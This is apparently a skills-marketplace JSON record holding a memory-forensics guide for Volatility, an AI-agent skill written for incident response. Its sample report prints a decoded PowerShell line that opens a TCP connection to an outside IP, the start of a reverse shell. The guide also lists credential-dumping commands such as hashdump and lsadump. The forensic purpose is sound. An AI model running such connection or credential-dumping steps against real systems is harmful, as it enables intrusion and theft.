[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M738XPJ7EMFNTH788JV98N3W":3,"skill-same:01M738XPJ7EMFNTH788JV98N3W":89},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":49,"commitSha":50,"skillDirectory":51,"forksCount":52,"repositoryHtmlUrl":53,"repositoryHomepageUrl":54,"ownerHtmlUrl":55,"ownerBlogUrl":56,"ownerDescription":57,"updatedAt":58,"install":59,"resources":72},"01M738XPJ7EMFNTH788JV98N3W","analyzing-memory-dumps-with-volatility",null,"Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.","Horonomos-laps\u002FYana-AI","Horonomos-laps","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F355299122?v=4","01M76B3QPXE88ET2SQPDPVATZT"," Horonomos-laps","01M72ZQRJPCYPSSWT4D00VJR2A",13,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002FSKILL.md",[],[],"2026-11-11 15:11:14",false,"---\nname: analyzing-memory-dumps-with-volatility\ndescription: 'Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes,\n  injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory\n  forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection\n  detection, or memory-resident malware investigation.\n\n  '\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- malware\n- memory-forensics\n- Volatility\n- RAM-analysis\n- incident-response\nmitre_attack:\n- T1055\n- T1003\n- T1059\n- T1620\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nsource: https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\nsource_commit: 04450304b12645cb2b974ab96d28c0664758a88d\nnote: \"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.\"\n---\n\n# Analyzing Memory Dumps with Volatility\n\n## When to Use\n\n- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts\n- Detecting fileless malware that exists only in memory without persistent disk artifacts\n- Extracting encryption keys, passwords, or decrypted configuration from process memory\n- Identifying process injection, DLL injection, or process hollowing in a compromised system\n- Analyzing rootkit activity that hides from standard disk-based forensic tools\n\n**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.\n\n## Prerequisites\n\n- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS\n- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)\n- Knowledge of the source OS version for correct profile\u002Fsymbol selection\n- Sufficient disk space (memory dumps can be 4-64 GB)\n- YARA rules for scanning memory for known malware signatures\n- Strings utility for extracting readable strings from memory regions\n\n## Workflow\n\n### Step 1: Identify the Memory Dump Profile\n\nDetermine the operating system and version from the memory dump:\n\n```bash\n# Volatility 3: Automatic OS detection\nvol3 -f memory.dmp windows.info\n\n# List available plugins\nvol3 -f memory.dmp --help\n\n# If symbols are needed, download from:\n# https:\u002F\u002Fdownloads.volatilityfoundation.org\u002Fvolatility3\u002Fsymbols\u002F\n\n# For Volatility 2 (legacy):\nvol2 -f memory.dmp imageinfo\nvol2 -f memory.dmp kdbgscan\n```\n\n### Step 2: Enumerate Running Processes\n\nList all processes and identify suspicious entries:\n\n```bash\n# List all processes\nvol3 -f memory.dmp windows.pslist\n\n# Process tree (parent-child relationships)\nvol3 -f memory.dmp windows.pstree\n\n# Scan for hidden\u002Funlinked processes (rootkit detection)\nvol3 -f memory.dmp windows.psscan\n\n# Compare pslist vs psscan to find hidden processes\n# Processes in psscan but not pslist are potentially hidden by rootkits\n\n# Check for process hollowing\nvol3 -f memory.dmp windows.pslist --dump\n# Then verify the dumped EXE matches the expected binary on disk\n```\n\n```\nSuspicious Process Indicators:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n- svchost.exe not spawned by services.exe (wrong parent)\n- csrss.exe\u002Flsass.exe with unusual parent process\n- Multiple instances of lsass.exe (should be only one)\n- Processes with misspelled names (scvhost.exe, lssas.exe)\n- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser\n- Processes running from unusual paths (%TEMP%, %APPDATA%)\n- Processes with no parent (orphaned - parent terminated)\n```\n\n### Step 3: Detect Malicious Code Injection\n\nScan for injected code and process hollowing:\n\n```bash\n# Detect injected code in processes (malfind)\nvol3 -f memory.dmp windows.malfind\n\n# Malfind looks for:\n# - Memory regions with PAGE_EXECUTE_READWRITE protection\n# - Memory regions containing PE headers (MZ\u002FPE signature)\n# - VAD (Virtual Address Descriptor) anomalies\n\n# Dump injected memory regions for analysis\nvol3 -f memory.dmp windows.malfind --dump --pid 2184\n\n# List loaded DLLs per process\nvol3 -f memory.dmp windows.dlllist --pid 2184\n\n# Detect hollowed processes by comparing mapped image to disk\nvol3 -f memory.dmp windows.hollowfind\n\n# Scan for loaded drivers (potential rootkit drivers)\nvol3 -f memory.dmp windows.driverscan\n\n# List kernel modules\nvol3 -f memory.dmp windows.modules\n```\n\n### Step 4: Analyze Network Connections\n\nExtract active and closed network connections:\n\n```bash\n# List all network connections (active and listening)\nvol3 -f memory.dmp windows.netscan\n\n# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner\n\n# Filter for established connections to external IPs\nvol3 -f memory.dmp windows.netscan | grep ESTABLISHED\n\n# For older Windows (XP\u002F2003):\nvol3 -f memory.dmp windows.netstat\n\n# Cross-reference PIDs with process list\n# Suspicious: svchost.exe connected to external IP on non-standard port\n# Suspicious: notepad.exe or calc.exe with network connections\n```\n\n### Step 5: Extract Artifacts and Credentials\n\nRecover sensitive data from memory:\n\n```bash\n# Dump process memory for a specific PID\nvol3 -f memory.dmp windows.memmap --dump --pid 2184\n\n# Extract command-line history\nvol3 -f memory.dmp windows.cmdline\n\n# Extract environment variables\nvol3 -f memory.dmp windows.envars --pid 2184\n\n# Registry analysis (extract Run keys for persistence)\nvol3 -f memory.dmp windows.registry.printkey \\\n  --key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n# Extract hashed\u002Fcached credentials\nvol3 -f memory.dmp windows.hashdump\nvol3 -f memory.dmp windows.cachedump\nvol3 -f memory.dmp windows.lsadump\n\n# Extract clipboard contents\nvol3 -f memory.dmp windows.clipboard\n\n# File extraction from memory\nvol3 -f memory.dmp windows.filescan | grep -i \"payload\\|malware\\|suspicious\"\nvol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560\n```\n\n### Step 6: Scan Memory with YARA Rules\n\nApply YARA signatures to detect known malware in memory:\n\n```bash\n# Scan entire memory dump with YARA rules\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar\n\n# Scan specific process memory\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184\n\n# Built-in YARA scan for common patterns\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule FindC2 { strings: \\$s1 = \\\"gate.php\\\" condition: \\$s1 }\"\n\n# Scan for encryption key material\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule AES_Key { strings: \\$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \\$sbox }\"\n```\n\n### Step 7: Timeline and Report Generation\n\nCreate an analysis timeline and compile findings:\n\n```bash\n# Generate comprehensive timeline\nvol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv\n\n# Timeline includes:\n# - Process creation\u002Fexit times\n# - Network connection timestamps\n# - Registry modification times\n# - File access times\n\n# Export process list for reporting\nvol3 -f memory.dmp windows.pslist --output csv > processes.csv\n\n# Export network connections\nvol3 -f memory.dmp windows.netscan --output csv > network.csv\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |\n| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |\n| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |\n| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |\n| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |\n| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |\n| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |\n\n## Tools & Systems\n\n- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture\n- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis\n- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps\n- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)\n- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis\n\n## Common Scenarios\n\n### Scenario: Detecting Fileless Malware After EDR Alert\n\n**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.\n\n**Approach**:\n1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)\n2. Run `windows.malfind` to detect injected code in running processes\n3. Dump the suspicious process memory and extract strings for C2 URLs\n4. Run `windows.netscan` to identify network connections from the compromised processes\n5. Run `windows.cmdline` to see what commands PowerShell executed\n6. Scan with YARA rules for known malware families in the dumped process memory\n7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk\n\n**Pitfalls**:\n- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)\n- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)\n- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)\n- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)\n\n## Output Format\n\n```\nMEMORY FORENSICS ANALYSIS REPORT\n===================================\nDump File:        memory.dmp\nDump Size:        16 GB\nOS Version:       Windows 10 21H2 (Build 19044)\nCapture Tool:     WinPmem 4.0\nCapture Time:     2025-09-15 14:35:00 UTC\n\nSUSPICIOUS PROCESSES\nPID   PPID  Name              Path                                    Anomaly\n2184  1052  svchost.exe       C:\\Users\\Admin\\AppData\\Temp\\svchost.exe Wrong path\n4012  2184  powershell.exe    C:\\Windows\\System32\\powershell.exe      Child of fake svchost\n3456  4012  cmd.exe           C:\\Windows\\System32\\cmd.exe             Spawned by PowerShell\n\nCODE INJECTION DETECTED (malfind)\nPID 852 (explorer.exe):\n  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE\n  Header: MZ (embedded PE detected)\n  SHA-256 of dump: abc123def456...\n\nNETWORK CONNECTIONS\nPID   Process         Local           Foreign              State\n2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED\n4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED\n\nEXTRACTED CREDENTIALS\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n\nCOMMAND LINE HISTORY\nPID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==\n  Decoded: $client = New-Object System.Net.Sockets.TCPClient(\"185.220.101.42\",443)\n\nYARA MATCHES\nPID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }\n\nTIMELINE\n14:10:00  svchost.exe (PID 2184) created from C:\\Users\\Admin\\AppData\\Temp\\\n14:10:05  Network connection to 185.220.101.42:443 established\n14:12:30  powershell.exe (PID 4012) spawned by svchost.exe\n14:15:00  Code injection into explorer.exe (PID 852) detected\n14:20:00  Credential dump from LSASS process\n```\n","# Analyzing Memory Dumps with Volatility\n\n## When to Use\n\n- A compromised system's RAM has been captured and needs forensic analysis for malware artifacts\n- Detecting fileless malware that exists only in memory without persistent disk artifacts\n- Extracting encryption keys, passwords, or decrypted configuration from process memory\n- Identifying process injection, DLL injection, or process hollowing in a compromised system\n- Analyzing rootkit activity that hides from standard disk-based forensic tools\n\n**Do not use** for disk image analysis; use Autopsy, FTK, or Sleuth Kit for disk forensics.\n\n## Prerequisites\n\n- Volatility 3 installed (`pip install volatility3`) with symbol tables for target OS\n- Memory dump file acquired from the target system (using WinPmem, LiME, or DumpIt)\n- Knowledge of the source OS version for correct profile\u002Fsymbol selection\n- Sufficient disk space (memory dumps can be 4-64 GB)\n- YARA rules for scanning memory for known malware signatures\n- Strings utility for extracting readable strings from memory regions\n\n## Workflow\n\n### Step 1: Identify the Memory Dump Profile\n\nDetermine the operating system and version from the memory dump:\n\n```bash\n# Volatility 3: Automatic OS detection\nvol3 -f memory.dmp windows.info\n\n# List available plugins\nvol3 -f memory.dmp --help\n\n# If symbols are needed, download from:\n# https:\u002F\u002Fdownloads.volatilityfoundation.org\u002Fvolatility3\u002Fsymbols\u002F\n\n# For Volatility 2 (legacy):\nvol2 -f memory.dmp imageinfo\nvol2 -f memory.dmp kdbgscan\n```\n\n### Step 2: Enumerate Running Processes\n\nList all processes and identify suspicious entries:\n\n```bash\n# List all processes\nvol3 -f memory.dmp windows.pslist\n\n# Process tree (parent-child relationships)\nvol3 -f memory.dmp windows.pstree\n\n# Scan for hidden\u002Funlinked processes (rootkit detection)\nvol3 -f memory.dmp windows.psscan\n\n# Compare pslist vs psscan to find hidden processes\n# Processes in psscan but not pslist are potentially hidden by rootkits\n\n# Check for process hollowing\nvol3 -f memory.dmp windows.pslist --dump\n# Then verify the dumped EXE matches the expected binary on disk\n```\n\n```\nSuspicious Process Indicators:\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n- svchost.exe not spawned by services.exe (wrong parent)\n- csrss.exe\u002Flsass.exe with unusual parent process\n- Multiple instances of lsass.exe (should be only one)\n- Processes with misspelled names (scvhost.exe, lssas.exe)\n- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser\n- Processes running from unusual paths (%TEMP%, %APPDATA%)\n- Processes with no parent (orphaned - parent terminated)\n```\n\n### Step 3: Detect Malicious Code Injection\n\nScan for injected code and process hollowing:\n\n```bash\n# Detect injected code in processes (malfind)\nvol3 -f memory.dmp windows.malfind\n\n# Malfind looks for:\n# - Memory regions with PAGE_EXECUTE_READWRITE protection\n# - Memory regions containing PE headers (MZ\u002FPE signature)\n# - VAD (Virtual Address Descriptor) anomalies\n\n# Dump injected memory regions for analysis\nvol3 -f memory.dmp windows.malfind --dump --pid 2184\n\n# List loaded DLLs per process\nvol3 -f memory.dmp windows.dlllist --pid 2184\n\n# Detect hollowed processes by comparing mapped image to disk\nvol3 -f memory.dmp windows.hollowfind\n\n# Scan for loaded drivers (potential rootkit drivers)\nvol3 -f memory.dmp windows.driverscan\n\n# List kernel modules\nvol3 -f memory.dmp windows.modules\n```\n\n### Step 4: Analyze Network Connections\n\nExtract active and closed network connections:\n\n```bash\n# List all network connections (active and listening)\nvol3 -f memory.dmp windows.netscan\n\n# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner\n\n# Filter for established connections to external IPs\nvol3 -f memory.dmp windows.netscan | grep ESTABLISHED\n\n# For older Windows (XP\u002F2003):\nvol3 -f memory.dmp windows.netstat\n\n# Cross-reference PIDs with process list\n# Suspicious: svchost.exe connected to external IP on non-standard port\n# Suspicious: notepad.exe or calc.exe with network connections\n```\n\n### Step 5: Extract Artifacts and Credentials\n\nRecover sensitive data from memory:\n\n```bash\n# Dump process memory for a specific PID\nvol3 -f memory.dmp windows.memmap --dump --pid 2184\n\n# Extract command-line history\nvol3 -f memory.dmp windows.cmdline\n\n# Extract environment variables\nvol3 -f memory.dmp windows.envars --pid 2184\n\n# Registry analysis (extract Run keys for persistence)\nvol3 -f memory.dmp windows.registry.printkey \\\n  --key \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\"\n\n# Extract hashed\u002Fcached credentials\nvol3 -f memory.dmp windows.hashdump\nvol3 -f memory.dmp windows.cachedump\nvol3 -f memory.dmp windows.lsadump\n\n# Extract clipboard contents\nvol3 -f memory.dmp windows.clipboard\n\n# File extraction from memory\nvol3 -f memory.dmp windows.filescan | grep -i \"payload\\|malware\\|suspicious\"\nvol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560\n```\n\n### Step 6: Scan Memory with YARA Rules\n\nApply YARA signatures to detect known malware in memory:\n\n```bash\n# Scan entire memory dump with YARA rules\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar\n\n# Scan specific process memory\nvol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184\n\n# Built-in YARA scan for common patterns\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule FindC2 { strings: \\$s1 = \\\"gate.php\\\" condition: \\$s1 }\"\n\n# Scan for encryption key material\nvol3 -f memory.dmp yarascan.YaraScan --yara-rules \"rule AES_Key { strings: \\$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \\$sbox }\"\n```\n\n### Step 7: Timeline and Report Generation\n\nCreate an analysis timeline and compile findings:\n\n```bash\n# Generate comprehensive timeline\nvol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv\n\n# Timeline includes:\n# - Process creation\u002Fexit times\n# - Network connection timestamps\n# - Registry modification times\n# - File access times\n\n# Export process list for reporting\nvol3 -f memory.dmp windows.pslist --output csv > processes.csv\n\n# Export network connections\nvol3 -f memory.dmp windows.netscan --output csv > network.csv\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Memory Forensics** | Analysis of volatile memory (RAM) contents to identify running processes, network connections, and in-memory artifacts that may not exist on disk |\n| **Process Hollowing** | Malware technique of creating a legitimate process in suspended state, replacing its memory with malicious code, then resuming execution |\n| **Malfind** | Volatility plugin detecting injected code by identifying memory regions with executable permissions and PE headers in non-image VADs |\n| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; anomalies in VADs indicate injection or hollowing |\n| **EPROCESS** | Windows kernel structure representing a process; rootkits unlink EPROCESS entries to hide processes from standard tools |\n| **Pool Tag Scanning** | Memory forensics technique scanning for kernel object pool tags to find objects (processes, files, connections) even when unlinked |\n| **Fileless Malware** | Malware that operates entirely in memory without creating files on disk; only detectable through memory forensics |\n\n## Tools & Systems\n\n- **Volatility 3**: Open-source memory forensics framework supporting Windows, Linux, and macOS memory analysis with plugin architecture\n- **WinPmem**: Memory acquisition tool for Windows systems that creates raw memory dumps for offline analysis\n- **LiME (Linux Memory Extractor)**: Loadable kernel module for capturing Linux system memory dumps\n- **Rekall**: Alternative memory forensics framework with some unique analysis capabilities (discontinued but still useful)\n- **MemProcFS**: Memory process file system allowing mounting memory dumps as file systems for intuitive analysis\n\n## Common Scenarios\n\n### Scenario: Detecting Fileless Malware After EDR Alert\n\n**Context**: EDR detected suspicious PowerShell activity but the threat actor cleaned up disk artifacts. A memory dump was captured before the system was rebooted. The analysis needs to identify the malware, its persistence mechanism, and any lateral movement.\n\n**Approach**:\n1. Run `windows.pstree` to identify the process chain (which process spawned PowerShell)\n2. Run `windows.malfind` to detect injected code in running processes\n3. Dump the suspicious process memory and extract strings for C2 URLs\n4. Run `windows.netscan` to identify network connections from the compromised processes\n5. Run `windows.cmdline` to see what commands PowerShell executed\n6. Scan with YARA rules for known malware families in the dumped process memory\n7. Extract credentials with `hashdump` and `lsadump` to assess lateral movement risk\n\n**Pitfalls**:\n- Using the wrong symbol tables for the OS version (causes plugin failures or incorrect results)\n- Not comparing `pslist` vs `psscan` output (missing rootkit-hidden processes)\n- Ignoring legitimate processes that have been injected into (focus on malfind results, not just process names)\n- Not extracting full process memory before concluding analysis (strings from process dump may reveal additional IOCs)\n\n## Output Format\n\n```\nMEMORY FORENSICS ANALYSIS REPORT\n===================================\nDump File:        memory.dmp\nDump Size:        16 GB\nOS Version:       Windows 10 21H2 (Build 19044)\nCapture Tool:     WinPmem 4.0\nCapture Time:     2025-09-15 14:35:00 UTC\n\nSUSPICIOUS PROCESSES\nPID   PPID  Name              Path                                    Anomaly\n2184  1052  svchost.exe       C:\\Users\\Admin\\AppData\\Temp\\svchost.exe Wrong path\n4012  2184  powershell.exe    C:\\Windows\\System32\\powershell.exe      Child of fake svchost\n3456  4012  cmd.exe           C:\\Windows\\System32\\cmd.exe             Spawned by PowerShell\n\nCODE INJECTION DETECTED (malfind)\nPID 852 (explorer.exe):\n  Address: 0x00400000  Size: 98304  Protection: PAGE_EXECUTE_READWRITE\n  Header: MZ (embedded PE detected)\n  SHA-256 of dump: abc123def456...\n\nNETWORK CONNECTIONS\nPID   Process         Local           Foreign              State\n2184  svchost.exe     10.1.5.42:49152 185.220.101.42:443   ESTABLISHED\n4012  powershell.exe  10.1.5.42:49200 91.215.85.17:8080    ESTABLISHED\n\nEXTRACTED CREDENTIALS\nAdministrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n\nCOMMAND LINE HISTORY\nPID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==\n  Decoded: $client = New-Object System.Net.Sockets.TCPClient(\"185.220.101.42\",443)\n\nYARA MATCHES\nPID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }\n\nTIMELINE\n14:10:00  svchost.exe (PID 2184) created from C:\\Users\\Admin\\AppData\\Temp\\\n14:10:05  Network connection to 185.220.101.42:443 established\n14:12:30  powershell.exe (PID 4012) spawned by svchost.exe\n14:15:00  Code injection into explorer.exe (PID 852) detected\n14:20:00  Credential dump from LSASS process\n```\n",{"name":5,"note":25,"tags":26,"author":32,"domain":33,"source":34,"license":15,"version":35,"nist_csf":36,"subdomain":41,"description":42,"mitre_attack":43,"source_commit":48},"Vendored verbatim from an external Apache-2.0 security-skill library, pinned by commit. Exceeds the internal 300-line skill guideline (agent-code-constraints.md) -- kept as-is because this is vendored reference material (forensics\u002Fthreat-intel procedure), not Yana AI-authored content, and trimming would damage technical accuracy.",[27,28,29,30,31],"malware","memory-forensics","Volatility","RAM-analysis","incident-response","mahipal","cybersecurity","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","1.0.0",[37,38,39,40],"DE.AE-02","RS.AN-03","ID.RA-01","DE.CM-01","malware-analysis","Analyzes RAM memory dumps from compromised systems using the Volatility framework to identify malicious processes, injected code, network connections, loaded modules, and extracted credentials. Supports Windows, Linux, and macOS memory forensics. Activates for requests involving memory forensics, RAM analysis, volatile data examination, process injection detection, or memory-resident malware investigation.\n",[44,45,46,47],"T1055","T1003","T1059","T1620","04450304b12645cb2b974ab96d28c0664758a88d","main","481dcd7dd2e288b9d627a2bd017db70e64e6c6fa","core\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility",2,"https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI","https:\u002F\u002Fyana.vutam.link\u002F","https:\u002F\u002Fgithub.com\u002FHoronomos-laps","https:\u002F\u002Fyana.vutam.link","An open-source governed runtime & execution environment for multi-agent AI systems.","2026-11-14 13:24:09",{"source":8,"skillName":5,"commands":60,"prompt":70,"zipAvailable":71},[61,64,67],{"tool":62,"command":63},"npx","npx skills add Horonomos-laps\u002FYana-AI --skill analyzing-memory-dumps-with-volatility",{"tool":65,"command":66},"bunx","bunx skills add Horonomos-laps\u002FYana-AI --skill analyzing-memory-dumps-with-volatility",{"tool":68,"command":69},"pnpm","pnpm dlx skills add Horonomos-laps\u002FYana-AI --skill analyzing-memory-dumps-with-volatility","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002FSKILL.md",true,[73,77,83],{"path":74,"resourceType":74,"resourceTypeDesc":75,"sizeBytes":76,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":78,"resourceType":79,"resourceTypeDesc":80,"sizeBytes":81,"sourceHtmlUrl":82},"references\u002Fapi-reference.md","REFERENCE","参考文档",3085,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002Freferences\u002Fapi-reference.md",{"path":84,"resourceType":85,"resourceTypeDesc":86,"sizeBytes":87,"sourceHtmlUrl":88},"scripts\u002Fagent.py","SCRIPT","脚本",9024,"https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fanalyzing-memory-dumps-with-volatility\u002Fscripts\u002Fagent.py",[90,98,105,113,121,129],{"skillNo":91,"name":92,"nameZh":6,"description":93,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":94,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M735GKET5YVYKAY62W2P5YXB","openai--sentry--sentry","Use when the user asks to inspect Sentry issues or events, summarize recent production errors, or pull basic Sentry health data via the Sentry API; perform read-only queries with the bundled script and require `SENTRY_AUTH_TOKEN`.","MIT","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fopenai--sentry--sentry\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M73DCAP83T17HY7SMGK7MGFE","ito-basket-compare","Compare Itô prediction-market baskets against a user's knowledge base, portfolio notes, financial context, watchlist, or research thesis. Use for read-only basket comparison and gap analysis without investment advice or live trading.","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002Fcore\u002Fskills\u002Fito-basket-compare\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M734CYEMZFDR3KH6SW0JP8TD","implementing-network-traffic-baselining","Build network traffic baselines from NetFlow\u002FIPFIX data using Python pandas for statistical analysis, z-score anomaly detection, and hourly\u002Fdaily traffic pattern profiling","https:\u002F\u002Fgithub.com\u002Fyanacuti1121\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FLICENSE","https:\u002F\u002Fgithub.com\u002FHoronomos-laps\u002FYana-AI\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fimplementing-network-traffic-baselining\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":117,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":20},"01M73ASZ6NJRJM44Z2P84NGQ3Q","detecting-evasion-techniques-in-endpoint-logs","Detects defense evasion techniques used by adversaries in endpoint logs including log tampering, timestomping, process injection, and security tool disabling. Use when investigating suspicious endpoint behavior, building detection rules for evasion tactics, or conducting threat hunting for stealthy adversary activity. Activates for requests involving evasion detection, defense evasion analysis, log tampering detection, or MITRE ATT&CK 